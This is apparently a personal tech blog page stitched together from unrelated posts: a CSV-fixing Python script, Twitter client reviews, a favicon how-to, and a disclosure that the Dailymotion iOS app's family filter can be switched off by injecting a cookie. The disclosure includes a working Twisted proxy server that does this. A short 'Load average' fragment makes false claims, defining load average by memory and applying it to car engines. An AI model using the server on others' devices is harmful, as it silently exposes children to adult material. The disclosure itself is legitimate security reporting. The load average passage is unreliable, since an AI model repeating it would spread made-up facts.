inside Habbie's mind

This script fixes the CSV up in a few ways:

• it puts a single quote character in front of all timestamp fields - without it, Numbers will interpret the dates and, for me, it is confused about day field vs. month field
• it sorts the CSV by start time, ascending instead of descending

Code: (download here)

#!/usr/bin/env python
import csv
import sys
import operator

r = csv.reader(sys.stdin)
rows=[]
for row in r:
        row[5] = "'%s" % row[5]
        row[6] = "'%s" % row[6]
        row[7] = "'%s" % row[7]
        rows.append(row)

rows = [rows[0]] + sorted(
       rows[1:],
       key=operator.itemgetter(5)
)

w = csv.writer(sys.stdout)
for row in rows:
        w.writerow(row)

• Nambu: lost DM support last week. No streaming. Often errors during refresh. Otherwise, best client ever.
• Twitter.app: looks like shit. Does not work with HyperDock. Can’t find the keyboard shortcut to switch accounts.
• Echofon: looks like utter shit. Multiple account support seems hackish.
• Kiwi: looks good but is extremely buggy. Frequently fails to load (or display) timelines or DMs at all.
• YoruFukurou: terrible name. Reasonable looks. Acceptable keyboard shortcuts. Streaming support. Multi-account support at least has working notifications. I’m sticking with YoruFukurou for now.

Load average

---

Originally defined as the difference between available system memory and free memory.

…

Load average can also be calculated for car engines; a common value is 2.2.

The bigger implication however, is that injecting one cookie (family_filter=off) into your iPhone/iPad-application will fully disable the family filter for that client. This would be, I suspect, a violation of Apple App Store guidelines. Of course, if people do this for their own devices, nobody cares. However, this issue would allow a competent malicious third party (or a dedicated teenager ;)) to silently enable the viewing of adult material on a device that is expected to be family-safe.

Note that jailbreaking or similar hacks are not needed to exploit this issue. Hijacking traffic at the network level, or simply pointing the iPhone/iPad’s proxy configuration to a specifically prepared server, is enough.

(On a sidenote, the iPad/iPhone app uses an older REST API that does not conform to the current API docs and also does not use HTTPS, making this issue slightly easier to exploit).

Simple working example of such a specifically prepared server:

from twisted.web import server, resource
from twisted.internet import reactor

from twisted.python import log
import sys
log.startLogging(sys.stdout)

class Simple(resource.Resource):
    isLeaf = True
    def render_GET(self, request):
        request.addCookie(
            "family_filter",
            "off",
            path="/",
            expires="Tue, 24-Jan-2012 22:26:22 GMT"
        )
        return "{}"

site = server.Site(Simple())
reactor.listenTCP(8080, site)
reactor.run()

I doubt Dailymotion is the first or only iOS app that can be influenced by getting some cookies in. Will we see more of this?

Everybody should have a favicon! It doesn’t have to be beautiful or anything, just have one! I find that favicons make tabbed browsing (I’m using Firefox) so much easier. Imagine all tabs in the image to have the same default ‘piece of paper with a folded corner’-look - I would get lost (and I still do, often, because many people don’t have a favicon).

As you may have noticed, this site has a favicon now, too. It’s nothing special but it does the job for me: making tab content obvious. You should, too. Please.

Note that I have not added a <link ..> header - I’m too lazy and it does the job for me without just fine. Please let me know if this is different for any browser that people still use.

Howto: create a 16x16 image in The Gimp (zoom in, it helps). Save as anything (I chose png), then use Xnview to convert it to a Windows Icon. Some credit goes to MavEtJu, but netpbm would keep aborting with `out of memory’, so I used XnView.